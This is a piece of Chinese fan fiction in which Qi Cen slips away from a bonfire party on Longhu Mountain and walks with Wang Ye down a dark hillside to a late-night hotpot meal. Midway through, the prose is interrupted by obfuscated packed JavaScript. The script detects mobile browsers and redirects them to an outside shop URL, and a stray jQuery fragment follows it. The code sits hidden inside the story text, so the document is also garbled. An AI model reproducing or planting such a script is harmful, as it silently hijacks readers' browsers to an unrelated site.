“来,喝点。”霍尔科不知从哪摸出来几罐啤酒,往前一推。
诸葛青笑眯眯地拿起一罐,指节扣住拉环,“啪”的一声开了。霍尔科也开了一罐,仰头灌了一口,又看向齐岑。
齐岑伸手,拉环开的时候,发出一声轻响,她喝了一口,冰凉的液体里混着微微的苦味,实在不怎么好喝。
“听说张楚岚的赔率,已经1:250了。”诸葛青说。
霍尔科咧嘴一笑:“可不嘛,这小子一招没出,直接躺进16强,也是个人才。”
齐岑没参与谈话,往不远处瞅了一眼。
“人才要开始整活了。”
……
这场篝火晚会,最终在张楚岚的月下遛鸟环节中被推上了高潮。
高台之上,金光从下往上蹿,把张楚岚的半张脸映得发亮。
那玩意儿通体金黄,上面布满了密密麻麻的神秘符文,跟镀了层金似的。
底下人群早已炸开了锅,起哄声,尖叫声,笑骂声混在一起,几乎要把夜空掀翻。
齐岑站在人群里,当真觉得辣眼睛。
继南大光腚侠事件之后,她的三观再次被刷新。
她由衷佩服张楚岚的强大心理,他虽年轻,但在不要脸这条荆棘路上,他可谓一骑绝尘。不摇碧莲,果然是实至名归。
“走了。”齐岑跟霍尔科摆了摆手。
霍尔科玩得正开心,于百忙之中问她一句:“去哪?”
“夜游。”
篝火晚会的喧闹声传到后山深处,已经变得模糊不清了。
王也刚从老天师那回来,他靠着树干,摸出从刚刚开始就狂响不断的手机。
他打开微信,一个叫“罗天大醮受害者联盟”的群疯狂弹消息。
这群,是之前齐岑拉他进的,群主是霍尔科,里面都是这次来罗天大醮的年轻异人,百来号人。
他当时就觉得,霍尔科这人是真能整活。
之前这群还算安静,他也就没想起来设免打扰。
今儿这是怎么了?
他打开群,清一色的“卧槽,碧莲牛逼”,“哈哈哈哈”以及各种表情包乱飞。
他耐着性子往上翻,最上面是藏龙发的一个两分多钟的视频,他点开一看。
震碎三观。
我去,张楚岚这小子,是真不要脸啊!
他关上手机,脑袋往后仰,远处的火光几乎映红了半边天空。
这时候,齐岑应该在篝火晚会现场,他想起张楚岚刚那视频,“啧”了一声,她也遭这罪。
跟谁?霍尔科?
这个念头闪了一下,他皱眉,心里不太舒服。
王也眯了一阵,也不知又过了多久,兜里的手机震了一声。
齐岑发来一条微信:“王道长,睡了吗?”
他顿了下,回复:“没呢。”
隔了半分钟。
齐岑:“哪呢?”
他如实回答:“树上。”
手机拿在手里,没锁屏。
很快,她又发过来一条:“我去找你?”
“成。”接着,他发来了位置共享。
齐岑看着屏幕上的地图,抬脚向后山深处走去。
身后的欢闹声随着她的步伐越来越小。
后山深处,树木葱郁,黑漆漆一片,一点光亮都没有。
地图上的两个圆点已经重叠在一起了,她环视一圈,全是树,没看见人。
“王道长?”
头顶传来一个懒懒的声音:“这儿呢。”
话音落,王也就从树上轻飘飘地跃了下来,顺手抖了抖袖子。
“怎么过来了?那边结束了?”他往远处看了一眼,火光还亮着,隐隐约约还能听见点打闹声。
齐岑站着没动,微微扬着脸,眼睛亮得吓人。
她将手机拿在胸前,开着手电筒,微黄的光映照着她的脸庞。
“饿了。”她又说,“想吃火锅。”
王也的鼻尖率先捕捉到一缕淡淡的酒气,被夜风一吹,散成了若有若无的丝缕,弥漫在空气里。
“喝酒了?”
她眉眼含笑,掐着两根指头,比了个手势:“一点点。”
王也打量着,她面色如常,说话也利索眼神虽然比平时亮了些,但焦距稳得很。看来没醉。
他看了眼时间,已经十点多了,这个点还营业的火锅店可不多了。
“这大半夜的,你倒是会挑。”
“我搜过了,游客中心那边有一家,通宵营业。”她又补了一句,“我已经叫好车了,咱们从后山下去应该就差不多到了。”
这个点,龙虎山内部的观光车早已停运,从正一观到游客中心的距离不近,25分钟车程打底。好在龙虎山这边网约车可以进景区,方便不少。
王也哭笑不得:“合着你都安排了,压根就没给我拒绝的机会。”
她眨眨眼:“道长要实在为难的话,我自己去也可以。”
“哪儿能啊,”王也叹了口气,“这黑灯瞎火的,还能让你一个人下山?正好,我这也饿了,沾你的光,顺道吃点儿呗。”
“那就辛苦道长了。”
齐岑没忍住弯了下嘴角,转身往回走。手机的光一晃一晃地照着脚下的碎石路。
王也跟在后头,落后半步。
从后山到正一观这段路黑得彻底,过了断崖之后,篝火晚会的声响是一点都听不见了。
后山这地界还未被开发,道路难行,又是下坡,手机灯光范围有限,光柱扫过去,只能照出前方的一小块碎石和杂草。
齐岑走得不快,因酒精而催生的燥热在闷在脑子里,来回翻滚。
她明明神智清醒,脚步却倏地轻了一下,虚浮半寸,身体开始摇晃。
突如其来的眩晕感。
身后的王也手疾眼快,拉了她一把,她有些茫然,片刻后,眼神才渐渐清明。
“不是没喝多吗?”王也打趣,“看着点儿路,这地上都是石子,真要磕一下可疼。”
“脚滑了。”
她稳住身形,王也刚松开手,脚下又踩到一颗圆润的石子,身子一歪,王也眼疾手快又扶了回去。
王也皱眉:“你这什么情况?”
她靠着王也缓了会儿,开始搜刮原因,最后得出结论:“饿晕了。”
“没吃晚饭?”
“吃了个苹果,然后就被霍尔科拽着去篝火晚会了。”
王也一顿,面上却不动生色,这是她第一次在他面前提起霍尔科。
他斟酌着,尽量让语气显得随意:“你和霍尔科很熟?”
她“嗯”了一声:“挺熟的,认识很久了。”
意料之中的答案,却不是他想要的。
“以前倒是没听你提过。”
她抬头看他的脸,亮晶晶的眼睛里盛满了笑意,她怎么觉着王也好像有点在意她和霍尔科呢?
王也被她盯得有点不自然,他“咳”了一声,偏头避开她的视线:“嗐,我就随便问问。”
齐岑也不拆穿他,认真回答:“之前你也没问过。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871809|212299||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这下王也心里敞亮了不少,犹疑了几秒,最后还是把呼之欲出的冲动压了下去。
再问下去就太明显了,现在还不是时候。
他没在这话题上继续纠缠:“缓过点儿没?”
“嗯,走吧。”
这次,王也没再松开她,大手自然地握着她的一截手腕,与她并肩而行。
她没挣开。
隔着一层薄薄的衬衫布料,王也仍能感受到他手掌底下的温热。他的手合拢,指节中间还空着一小截,她的手腕倒是比他想象中的还要纤细。
两仪就贴在他手侧,裹着一团温润的暖意,安静地匍匐在他手指跟部和她的皮肤之间,像沉默的第三人。
“王道长,”齐岑手里的光柱忽然往远处扫了一下,“有兔子。”
王也顺着光看过去,草丛边上有个毛茸茸的东西一闪,“嗖”的一下,钻进暗处没了影。
“您这眼神儿还挺好,”他说,“我瞅着就一灰球。”
她语气笃定,有些无奈:“真是兔子。”
王也懒懒配合道:“行,真是。”
齐岑弯弯嘴角,不再言语,低头看路,余光里全是王也的那只手。
指节分明,手掌宽大,干燥而温暖。
她的腕骨被他圈着,拇指恰好压在尺骨末端,脉搏在那里跳动得比平时更快一些。
或许他感受到了,但他没松。
王也这个人啊,他大概永远都不知道,他这些不经意间的随手为之,在她这里,早已酿成了一场山洪。
夜色浓郁,山路崎岖,她无比希望这条路可以长一点,再长一点。
“王道长。”
“嗯。”
“想吃麻辣兔头。”
“您真是想起一出是一出,龙虎山这儿可没有麻辣兔头。”王也拖长了调子,偏头看她,“要不,刚那兔子,我给你抓去?”
齐岑没忍住,笑了一声,答非所问:“王道长,有时间去成都的话,我请你吃麻辣兔头。”
月光之下,她的眉眼被镀上了一层清冷的银白,柔和得像覆了层薄纱。
“成。”王也应的随意,然后飞快地移开了视线。
地上,两个人的影子交叠在一起,手机的光一晃一晃的,影子也跟着晃,分不清谁是谁。
正一观到了。
路灯把水泥地面映得昏黄,黑色轿车停在路边,打着双闪,明明灭灭的。
王也松开手,先她一步打开后座的车门。
“上车。”他说。
二十多分钟后,两人在游客中心附近的一家火锅店门口下车。
浓郁的牛油味裹在夜风里,还没进门,就撞了个满怀。
店里人不多,他们找了个地方坐下,开始点菜。
鸳鸯锅底,羊肉,七八个涮菜,荤素齐全。
王也基本上就吃了几口清汤里的涮菜,其余大多时候都在帮她涮。
肉片在红汤里打个滚儿,变了色就捞出来,搁在她碟子里,一筷子又一筷子的,几乎没停过,她面前的那碟子,堆得跟个小山似的。
这大概是齐岑吃得最省事的一顿火锅,什么都不用管,只负责吃。
她透过火锅的热气看王也的脸,这人嘴上说饿了,实际上却没怎么吃,怪贴心的。
这顿饭结束的时候,已经过了12点。
他们披着月光原路返回。
那点由酒精所带来的燥热早已在夜风中彻底消散,齐岑抬头,望向那轮圆月,她隐隐觉得,今夜的月亮好像格外皎洁。